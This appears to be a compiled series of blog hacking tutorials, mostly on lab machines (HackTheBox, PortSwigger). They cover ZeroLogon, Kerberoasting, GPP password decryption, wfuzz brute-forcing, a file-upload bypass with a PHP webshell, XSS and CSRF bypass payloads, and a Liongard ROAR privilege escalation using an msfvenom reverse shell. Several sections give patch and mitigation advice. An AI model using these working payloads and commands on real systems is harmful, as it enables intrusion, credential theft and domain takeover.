Hacking Tutorial, Windows Updates/Patches

Abusing CVE-2020-1472 (ZeroLogon)

Secura has a great blog post on this topic already, but I wanted to share my experience with actually playing with their proof-of-concept exploit code. You can read about this exploit on their blog at https://www.secura.com/blog/zero-logon.

The exploit abuses the Netlogon Remote Protocol in Windows, which among other things, can be used to update computer passwords.

This vulnerability, and patch, isn’t exactly new. Microsoft released a patch for it last month, but there are now some public POCs in the wild that anybody can get their hands on, making this much more dangerous to leave un-patched.


Installing Tools

First, we’re going to need a few things from GitHub. I like to download the tools in my /opt directory. You can run the following command to download the prerequisites.

sudo git clone https://github.com/dirkjanm/CVE-2020-1472.git

And then we need to download and install Impacket.

sudo git clone https://github.com/SecureAuthCorp/impacket.git

cd /opt/impacket

sudo pip3 install .


Performing the Exploit

The above mentioned POC exploit will reset the password of the domain controller account, so BE CAREFUL RUNNING IN PRODUCTION as it will break communication to other domain controllers in the domain.

To reset the password of the domain controller account and make it null, we can use the following command.

python3 cve-2020-1472-exploit.py <netBIOS-Hostname> <targetIP>

If you see that the exploit was successful, you should then be able to run a command like the following to dump all of the domain account hashes.

sudo secretsdump.py -just-dc <domain>/<hostname>\$@<targetIP>


Restoring the Environment

The proof-of-concept exploit code also includes a script for restoring the old credential post-exploitation. To do this, you can grab the hex encoded machine password from the secretsdump.py output and then use the following command.

sudo python restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>


Patching the Exploit

A patch is available from Microsoft at the following URL. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

While the above mentioned article includes a table with a list of patches, I’d highly recommend checking the Windows Update Catalog for patches that might have superseded the articles mentioned in this table. For example, the September roll-ups contain this patch and are not listed in the table.

Running this exploit against a machine that has received the patch will return the following result.

Hacking Tutorial

Bruteforcing Usernames w/ WFuzz

In a recent post, I showed you how to Brute-force Subdomains w/ WFuzz. This time, I’m going to show you how we can use the same tool to brute-force a list of valid users. This guide is going to use Falafel from Hack The Box as an example, but does not intend to serve as a walkthrough or write-up of the machine.


Setting the Stage

If we navigate to the web interface of the box, we can attempt to sign into a login page. We notice that when we type a valid username into the field, the error message states “Wrong identification“.

However, entering a username that doesn’t exist returns a message that states “Try again..” We can use this to enumerate valid usernames.

Looking at the request in Burp, we see that its being sent as a /POST request with two parameters; username and password.


Using WFuzz to Brute-Force Valid Users

To begin, we’ll need a wordlist that contains a list of usernames. Seclists has one that is great for this, which you can get from Github. I have mine downloaded already.

Let’s start piecing together our command! Let me break down all the pieces that we’ll use.

-c : Return output in color.
-z file,<wordlist> : Specify our payload. In this case, a list of usernames.
--sc 200 : Show responses that return a response code of 200.
-d "username=FUZZ&password=anything" : Provide parameters for the /POST request.

Putting all of the above together, this is what our first command looks like!

wfuzz -c -z file,/usr/share/seclists/Usernames/Names/names.txt --sc 200 -d "username=FUZZ&password=anything" http://10.10.10.73/login.php

Running this doesn’t actually produce results we want though. That’s because every page comes back w/ a success 200 response code.

However, notice that each response contains 657 words. Let’s rewrite our command so that it only shows us results that DO NOT contain 657 words.

wfuzz -c -z file,/usr/share/seclists/Usernames/Names/names.txt --hw 657 -d "username=FUZZ&password=anything" http://10.10.10.73/login.php

After letting it run for a bit, we start to enumerate a list of users!

Hacking Tutorial

Performing Kerberoast Attacks in Windows Active Directory

Once you have low-level credentials to a Windows domain, you may be able to leverage those credentials to perform a Kerberoast attack against a higher-level user account. The easiest way to identify if a user account is vulnerable to a Kerberoast attack is via BloodHound.

Once you have identified a Kerberoastable user, you can leverage Impacket to perform the attack w/ the following command. This command will require valid domain credentials for at least a low-level user, but it should return the password hash of any Kerberoastable user on the domain.

GetUserSPNs.py -request -dc-ip <ip-addr> <domain>/<user>

We can then take this password hash to hashcat with the following command.

hashcat -m 13100 <hashfile> <wordlist>

Hacking Tutorial

Cracking Group Policy Preferences File (GPP XML)

There are some great posts out there that already explain what this vulnerability is. I would suggest reading up on it over at https://adsecurity.org/?p=2288.

However, if you come across an old GPP XML file, you may be able to extract a password hash from it. The file is typically found at path similar to the one shown below.

\hostname.domain\Policies\{00000000–0000-0000–0000-00000000000}\MACHINE\Preferences\Groups\Groups.xml

As an example, we found a file on Active at Hack The Box that looks like the following. Within Line 2, there is a cpassword hash that we can extract.

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

If we extract that password, we can use a tool to crack it.

gpp-decrypt <hash>

Note: If you don’t have this tool, you can download it with the following command: sudo apt install gpp-decrypt

Hacking Tutorial

Bruteforcing Subdomains w/ WFuzz

This guide is going to use CMess from TryHack.me as an example, but does not intend to serve as a walkthrough or write-up of the machine.


Before we begin, make sure you can resolve the domain name that we’re targeting. If you’re doing this in a CTF-type environment, you may need to update your /etc/hosts file with the hostname/address of the target.

We can use a tool called wfuzz to bruteforce a list of subdomains, but first, we’ll need a list to use.

I like to use the top 5000 list from Seclists, which can be found at https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt

With our list in hand, let’s set up our command using the sub-fighter mode.

wfuzz -c -f sub-fighter -w top5000.txt -u 'http://target.tld' -H "Host: FUZZ.target.tld”

Now you may get a ton of output that shows valid subdomains depending on how the site is configured. If you notice a large amount of results that contain the same word count, this may just be an indication that the site returns a 200 response, but it just displays a “Not found” error.

To remove results with a specific word count, you can append your command w/ --hw <value>. For example, our new command that removes results that respond w/ a word count of 290 would look like the following:

wfuzz -c -f sub-fighter -w top5000.txt -u 'http://target.tld' -H "Host: FUZZ.target.tld" --hw 290

This will return a list of subdomains that do not contain a word count of 290. If you get a successful result, make sure you’re able to resolve the subdomain as well before trying to browse to it. If you’re in a CTF-type environment, you may need to update your /etc/hosts file.

With our /etc/hosts file updated, we should be able to browse to the page.

Hacking Tutorial

File Upload Bypass Techniques

In this guide, I’m going to show you one method to consider when you come across a file upload that only accepts PNG files. This method could theoretically be used for other file-types as well, but I’ll demonstrate uploading a PHP file on a file upload feature that “should” only allow PNG files on Popcorn from Hack The Box.

Note: This post does not intend to serve as a walkthrough or write-up for Popcorn at HackTheBox.

Table of Contents

  • Setting the Stage
  • Getting Malicious and Performing the Bypass
  • Using the Webshell
  • Closing Thoughts

Setting the Stage

Before diving in, let’s talk about where the vulnerable functionality exists. Popcorn is running an application called Torrent Hoster that allows for us to upload our own torrent files. This upload functionality is found at the following URL.

http://10.10.10.6/torrent/torrents.php?mode=upload

To give it a test upload, we’ll download a torrent for a Kali image from https://www.kali.org/downloads/ and upload that here.

Once the torrent file is saved, we’ll upload it to Torrent Hoster.

Once the torrent is uploaded, we’re taken to a page that shows us the default ‘No Screenshot’ image.

For fun, we’ll click Edit this torrent and upload our own image as a PNG file.

So here’s the thing. So far, we’ve found two file upload features on this web application. The first was to upload a .TORRENT file, and the second was to upload a .PNG file as a screenshot of the torrent. This is great, but how can this be exploited? Well to start, the Wappalyzer Firefox extension shows us that Popcorn is running PHP. What if instead of uploading a .TORRENT or .PNG, we tried to upload a .PHP webshell? Could we gain code execution?

Uploading a file is only any good if we’re able to execute the contents once its uploaded. Luckily for us, the uploaded PNG files are accessible externally from the following address.

http://10.10.10.6/torrent/upload/

Since we have a way to execute the uploaded PNG files, we’ll target this file upload as our exploitation path. To see if PHP files are even allowed without any bypass technique, let’s create a quick example PHP that we can attempt to upload. To create the PHP file, I just used the following command.

echo 'hello world' > test.php

Trying to upload test.php immediately returns an error.

So how do we bypass this and get our PHP uploaded?


Getting Malicious and Performing the Bypass

Let’s start by creating a malicious PHP file that we actually want to upload, since our test.php isn’t really going to do us any good. I like to use this PHP webshell one-liner to create webshell.php.

<?php system($_GET['cmd']); ?>

With this file created, let’s spin up BurpSuite and route our traffic through it. With Burp running, I’m going to attempt to upload webshell.php so we can look at the request.

Obviously this will fail to upload as well, just like the previous PHP file failed to upload. While we’re here, let’s leave Burp running and upload a valid PNG file again so we can compare the two requests within BurpSuite and spot the difference.

Within the Burp proxy HTTP History tab, we’re able to see both requests.

At this time, we’re not sure what checks the web application is performing to verify PNG uploads. It would be simple enough to try a bypass that just changes the filename of “webshell.php” to “webshell.png.php”, so lets send our PHP request to Repeater and see what happens when we make this simple modification.

Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>

That didn’t work. Alright, so we need to do something more. In addition to the above change, let’s also adjust the Content-Type to match what the valid PNG file had.

Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: image/jpeg

Nice! Looks like we got that to work out. But what if it didn’t? We could take this even further by extracting the “Magic Bytes” from the actual PNG upload, and pasting them before the beginning of our PHP script. An example of that would look like this.


Using the Webshell

Now that we have our malicous PHP file planted, we can navigate to the following URL and figure out what name it was assigned.

http://10.10.10.6/torrent/upload/

On this page, let’s browse to the PHP file and add a parameter called cmd that contains a value of the command we wish to execute.

http://10.10.10.6/torrent/upload/file.php?cmd=whoami

Nice! We have command execution.


Closing Thoughts

File uploads are one of the most difficult exploitation paths to harden, which make for great targets for hackers. When presented with a file upload that only accepts certain file extensions, such as PNG, always try the following:

  • Appending the name of the file extension in the filename parameter.
  • Adjusting the content-type to match that of an accepted file-type.
  • Include magic bytes for an accepted file.

We were able to leverage Popcorn on Hack the Box to demonstrate these techniques. I hope you found this guide informational, and if so, please feel free to check out some of my other publications.

Hacking Tutorial, Pentesting

Bypassing XSS Defenses Part 1: Finding Allowed Tags and Attributes

This post intends to serve as a guide for a common bypass technique when you’re up against a web application firewall (WAF). In the event that the WAF limits what tags and attributes are allowed to be passed, we can use BurpSuite’s Intruder functionality to learn which tags are allowed.

Table of Contents:

  • Setting the stage.
  • Identifying which tags are allowed.
  • Identifying which events are allowed.
  • Putting the pieces together.

Setting the stage.

In our example, we have a webapp with a vulnerable search field. To begin testing, we start out with a simple XSS payload that will display the session cookie of the user when it fails to load a bad image path.

<img src=1 onerror=alert(document.cookie)>

However, the webserver responds with an error stating we’re using a tag that isn’t allowed.


Identifying which tags are allowed.

If we’re going to exploit this webapp, we need to first find out what tags are allowed in the search field. To do this, we can leverage BurpSuite’s Intruder functionality to brute force the page with every possible JavaScript tag and see which one(s) respond with a success message.

Let’s spin up BurpSuite and capture a web request with a generic search term.

With our request captured, let’s send this off to Intruder.

To begin, lets Clear the default payload positions BurpSuite selected for us.

Now we will replace the search term with <> to open/close the script tags that we wish to send to the application. Place the cursor between the angle brackets and click Add § twice, to create a payload position. The value of the search term should now look like: <§§>

Now that we have the position set, we need to provide our list of payloads. Head over to PortSwigger’s XSS cheat sheet and click Copy tags to clipboard.

With a list of all tags copied to your clipboard, head back to Intruder and select the Payload tab. Then click Paste.

Everything should now be in place! Let’s click Start Attack and allow time for all of the requests to be made.

Once the attack finishes, we see that the Body tag returns a status code of 200. This indicates that the WAF allows this tag and perhaps we can use it for our exploitation process.


Identifying which events are allowed.

Now that we know we can use the body tag, we need to know which events we can use. We’ll repeat the same process we used above, but this time, we’ll Copy events to clipboard from the PortSwigger’s XSS cheat sheet.

Heading back to Intruder, we’ll start by adjusting our list of Payloads. Click Clear to remove the existing list.

Now we can Paste our list of events.

Let’s head over to the Positions tab and adjust our search term to <body%20=1>. Place your cursor before the equal sign and then click Add § twice to create the payload position. The value of the search term should now look like: <body%20§§=1>

This will cause BurpSuite to send requests to the search field that look like

/?search=<body onactivate=1>
/?search=<body onafterprint=1>
/?search=<body onafterscriptexecute=1>

I’m happy with that. We’ll Start Attack.

Observe the results, and notice that the only payload returning a 200 response is onresize.


Putting the pieces together.

So what do we know? Well, we know that we can use the body tag along with the onresize element. Armed with this knowledge, what would happen if we were to inject JavaScript code that displayed the users session cookie when the window is resized? Could we craft something that automatically resizes the window to trigger this for us?

As an attacker, lets spin up a malicious webpage that includes a reference to the vulnerable webapp within an iframe.

<iframe src="https://your-lab-id.web-security-academy.net/?search="><body onresize=alert(document.cookie)>" onload=this.style.width='100px'>

Let’s break down what we’re doing.

  1. We begin by inserting an iframe to our webpage that will display content from the vulnerable webapp.
  2. We then inject a search query that will generate an alert containing the victim’s session cookie when the element onresize is called within the body tag.
  3. We then force the iframe to resize itself to a width of 100px upon loading.
  4. When the victim browses to our malicious website, this iframe will be loaded in their browser, resized, and then the session cookie will be displayed back to them.

Now this is really just useful as a proof of concept, because this particular example doesn’t provide the attacker with the session cookie. The finished product would look something like this after including HTML encoding.

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E"onload=this.style.width='100px'>


The primary goal for this post was to showcase BurpSuite Intruder’s ability to bruteforce a webserver and identify the attack surface. I hope you found it useful!

Hacking Tutorial

Exploiting Cross Site Request Forgery (CSRF) & Bypassing Defenses

Wondering what Cross Site Request Forgery is? Go check out my previous post on this topic at Let’s Talk Basics About Cross Site Request Forgery (CSRF).

Ready to learn more about how to exploit it? You’re in the right place. The concepts and examples shown in this post were taken from PortSwigger’s WebSecurity Academy.

Table of Contents

  • What areas in a webapp do you look to exploit with CSRF?
  • What are some basic bypass techniques?
  • What about some more advanced bypass techniques?
    • Tokens Tied to Non-Session Cookie
    • “Double Submit” CSRF Token method.
    • Referer Validation Dependent on Present Referer Header
    • Referer Validation Only Checks if Domain Name is Present

What areas in a webapp do you look to exploit with CSRF?

Anywhere there might be a PUT request on the back-end. You are able to exploit this with a GET request as well, but the odds of finding this in the wild are very small as most devs know better by now.

  • Check the account page and see if a password change/reset might be vulnerable.
  • Perhaps a place where you can input your own email to send a recovery link?
  • Then I start looking for input fields to input XSS as they are sometimes chainable. For example, if an admin can post on a message board, but nobody else can, perhaps we can use XSRF to post a XSS payload on the message board for us.

What are some basic bypass techniques?

Since most mitigation techniques have to do with placing a unique token, bypassing this token requirement may be simple if they do not implement good validation on the other side.

  • What happens if we delete the value within the token parameter?
  • What happens if we delete the entire parameter including the value?
  • What happens if we replace the existing token with one of a different value that has the same length?
  • What happens if we convert our POST request into a GET request?Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

Basic Exploit Code:

When there are no defenses in play, or one of the defense methods listed above, it is relatively easy to exploit CSRF using a simple HTML template. Obviously you’ll want to replace the placeholders with the accurate values. Host this code up on your exploit server and wait for the victim to browse to the page:

<form method="$method" action="$url">
     <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
      document.forms[0].submit();
</script> 

What about some more advanced bypass techniques?

I get it, you’re over the basics and you’re up against a target that has some more difficult protections in place. Let’s up our game a bit, shall we?

Bypassing CSRF Protections: Tokens Tied to Non-Session Cookie

Some applications tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.

This situation is harder to exploit but is still vulnerable. If the web site contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Proof of Concept:

In our example, we have two different user accounts to sign in with. We’ll first log in as the username Wiener and issue a “Change Email” request. Let’s take a look at a legitimate request first and observe that the webserver responds with a 302 message.

Notice how modifying the session cookie will return an Unauthorized error, indicating that we’ve been signed out.

However, modifying the csrfKey cookie returns a “Invalid CSRF Token” message. This suggests that the csrfKey cookie may not be strictly tied to the session.

To prove our theory, let’s spin up a incognito window and sign in with a 2nd user account. Let’s issue a legitimate “Change Email” request, but lets swap the csrfKey cookie and csrf parameter from the first account to the second account.

We see that the request went through with a successful 302 response. If proper validation was in place, the csrfKey cookie would be tied to the session cookie, causing this example to be rejected.

Exploit Code:

To exploit this vulnerability, we just need a way to inject a csrfKey cookie with a value that we control into the victim’s browser. Luckily for us, our example site’s search feature allows us to inject cookies.

Line 5 includes our cookie injection that will create a csrf cookie with a valid value that pairs with the csrf parameter in Line 3.

<form method="POST" action="https://ac1a1faf1f72be7c80d80d67002b00c9.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
     <input type="hidden" name="csrf" value="AtwwO8ZSKpgUrBEkqBMIieJrCACVavFz">
</form>
 <img src="https://ac1a1faf1f72be7c80d80d67002b00c9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=65EfxxiuOkDcp12bXTGK9eAMzxfGFasr " onerror="document.forms[0].submit()"> 

Bypassing CSRF Protections: “Double Submit” CSRF Token method.

Some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state.

Example of vulnerable request:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In the above request, it’s important to notice how the csrf session token matches the csrf parameter. When a “double submit” vulnerability exists, we simply need to inject a cookie that matches whatever csrf parameter we’re going to forge as well.

Exploit code:

In our example, the search feature on the vulnerable website allows the ability for us to inject a cookie of our choosing within the victim’s browser. Line 5 shows us injecting a csrf cookie with a value of fake. Line 3 shows us also forging a request with paramater csrf containing a matching value of fake.

<form method="POST" action="https://acb31f821e84332a809da51f00d200ce.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hax@hacked.com">
     <input type="hidden" name="csrf" value="fake">
</form>
<img src=" https://acb31f821e84332a809da51f00d200ce.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake " onerror="document.forms[0].submit();"/> 


The end result is we’re able to update the users email to be hax@hacked.com by bypassing the “double submit” CSRF mitigation technique.


Bypassing CSRF Protections: Referer Validation Dependent on Present Referer Header

Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted. What were to happen if we were to delete the referer header from the request?

Proof of concept:

In the following example, the “Change Email” forum validates the Referer header when present to ensure the request originated from the same domain. This is what a legitimate request looks like.

Notice how the validation kicks in and will reject the request when we modify the Referer header to originate from a different domain, such as fake.com.

However, deleting the Referer header in its entirety allows the request to go through.

Exploit code:

Line 4 includes the bypass to strip out the Referer header from our request.

<form method="POST" action="https://ac891f331edd33ed8007ab8500750000.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
</form>
     <meta name="referrer" content="no-referrer"> 

Bypassing CSRF Protections: Referer Validation Only Checks if Domain Name is Present

Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL.

Proof of concept:

Like before, we see that a legitimate request from the website returns a valid 302 response.

Also like before, modifying the Referer header to contain a domain name that differs from the legitimate one will force the server to reject the request.

However, we’re able to get a successful 302 response by simply adding web-security-academy.net as a subdomain to fake.com.

Exploit Code:

Line 5 contains the piece that allows us to modify what URL and Referer the response comes from.

<form method="POST" action="https://acc01f071ff796db8098277e00a00038.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
</form>
<script>
      history.pushState("", "", "/?https://acc01f071ff796db8098277e00a00038.web-security-academy.net.fake.com/email") 
      document.forms[0].submit();
</script> 

Hacking Tutorial

Abusing Local Privilege Escalation Vulnerability in Liongard ROAR <1.9.76

Liongard ROAR is an automated documentation system that collects daily snapshots of configuration data for cloud, network, and on-premise systems.

In April 2020, a local privilege escalation vulnerability was discovered that would allow an attacker the ability to modify executables placed on a system by the RoarAgent installer. Should those executables be modified to contain specific exploit code, an attacker would be able to leverage this to escalate their privileges to the same user context used by the RoarAgent service.

This guide intends to serve as a proof-of-concept, and will not go into detail on bypassing antivirus or other security measures.

Table of Contents:

  • Setting the Stage
  • Preparing the Payload
  • Transferring the Payload
  • Performing the Attack
  • Mitigation

Setting the Stage

Before we begin, it is important to note that this is a privilege escalation exploit. This assumes that an attacker already has access to the system that they wish to exploit, and this will not work without access to the machine with at least a low-level user account.

Note: ROAR is typically installed on a Domain Controller. Since most Domain Controllers do not usually allow low-level users access to the system, an argument can be made that this vulnerability is low severity. However, it is important to note that ROAR can be installed on non-Domain Controller systems as well.

The vulnerability exists due to the way the installer assigns security permissions to the files within the following directory:

C:\Program Files (x86)\LiongardInc\RoarAgent

Reviewing the files at this directory reveals that all executables have Full Control assigned to Everyone.

No matter what user we’re logged in as, we have the ability to Modify this file. What were to happen if we were to place a malicious executable with the name RoarAgentSVC.exe in this directory, overwrite the existing file, and restart the Roar Agent service?

This particular file that we’re observing in the above screenshot is the executable that runs when the Roar Agent service is started within services.msc.

This service runs within a specific user context as specified by the administrator when installing the software. According to Liongard’s documentation, they suggest using a Domain Admin for the Log On As user.


Preparing the Payload

Spin up a Kali instance, and let’s start by generating a quick EXE payload. If you haven’t already, check out my MSFVenom Cheatsheet where I share the command I’m about to use, along with many others that may come in handy for you in the future.

sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

Obviously you’ll want to replace LHOST and LPORT with the appropriate value for your environment.


Transferring the Payload

With our payload ready, we need to transfer it to the target machine. There are a number of ways to do this, but I’ll simply encode this file in Base64 format since it’s not very large.

base64 -w0 shell-x64.exe

We can then copy results to our clipboard.

And paste it into a text file on our target machine. I’ll create a new text document called RoarAgentSVC.b64 and store the contents there.

With the contents of our Base64 payload on the machine, we need to decode it, and overwrite the RoarAgentSVC.exe executable. I’m going to rename RoarAgentSVC.exe to RoarAgentSVC.bak so we can easily revert our changes once finished.

We can now leverage CertUtil decode the contents of our Base64 encoded file.

certutil -decode RoarAgentSVC.b64 RoarAgentSVC.exe


Performing the Attack

We now have everything in place. If the user we’re logged in as does not have permission to restart the service or issue a reboot, we simply have to wait for a maintenance window to occur. The next time the Roar Agent service gets executed, so should our malicous payload which should trigger a reverse shell back to our attacking machine.

To make sure we catch the reverse shell, let’s spin up a netcat listener.

sudo nc -nvlp 443

For sake of demonstration, we will restart the service on the victim machine.

Which then executes our payload, and sends us a reverse shell.

A quick whoami and net user command(s) shows us what user context we’re running as.


Mitigation

Option A: Patching

The easiest mitigation strategy is to upgrade your version of Liongard ROAR to 1.9.76 or greater. Liongard’s official documentation on this topic can be found at https://docs.liongard.com/docs/critical-security-patch-2020-04-24

Option B: Principle of Lease Privilege

Consider reviewing what user-context your Roar service runs in. Had we had the service run with Domain-Admin rights in our example, or even local admin privileges on a domain controller, an attacker could leverage this vulnerability to gain access across an entire enterprise with a single attack.

You have to dig for it a bit in their documentation, but you can find details on creating a non-domain admin service account.

Hacking Tutorial

How to Crack Encrypted 7z Archives

This post is a continuation from my last regarding cracking encrypted .zip archives. But what happens if you come across an encrypted 7zip archive? The 7-Zip encryption is actually quite good and can require a lot of time to bruteforce, but this guide will show you how weak passwords can still break good encryption.

I’ll use LightWeight from HackTheBox as an example for this guide. Please note that this post does not intend to serve as a walkthrough for the box.


To begin, we already have the archive we wish to crack on our filesystem. Our goal is to crack the file named backup.7z.

We try to open the archive using 7z, but we’re prompted for a password that we do not know. When prompted, I entered password in the example below, but that did not work.

7z x backup.7z

We can start by using zip2john, but we find that the tool is unable to obtain the hash.

To proceed, we’ll need a tool called 7z2john. If you get an error when trying to run this tool, you may need to install the following package.

sudo apt install libcompress-raw-lzma-perl -y

With that package installed, let’s locate 7z2john and copy the full path.

Now let’s run this tool against backup.7z.

/usr/share/john/7z2john.pl backup.7z

Nice! We’ve extracted the hash. I’m just going to rerun the command again and output the results into a file named lightweight7z.hash

/usr/share/john/7z2john.pl backup.7z > lightweight7z.hash

Now let’s vi the file so we can remove the first bit. With the cursor at the top, I’m going to enter 10x while still in command mode so that I delete the first 10 characters. We should be left with only the hash now. To write my changes and quit, I’ll enter :wq

With the hash in hand, we’re ready to pass the hard work over to hashcat. First, we need to identify what numeric value hashcat assigns to 7-zip archives. Let’s run hashcat --example-hashes and search the results for 7-Zip. We find that we’ll need mode 11600

As long as you have a wordlist ready, let’s throw this at hashcat!

hashcat -m 11600 lightweight7z.hash /usr/share/wordlists/rockyou.txt

After some time, we see that our password is cracked. The credential appears to be delete.

Let’s test this by running 7z x backup.7z again, but entering delete when prompted for the credential.

Now we see the archived .php files available to us in our present working directory!


That’s it! Super quick and easy to crack this if you have a weak password. While the 7-zip encryption is actually quite good and can make a password very difficult to crack, weak passwords will end up harming you in the end.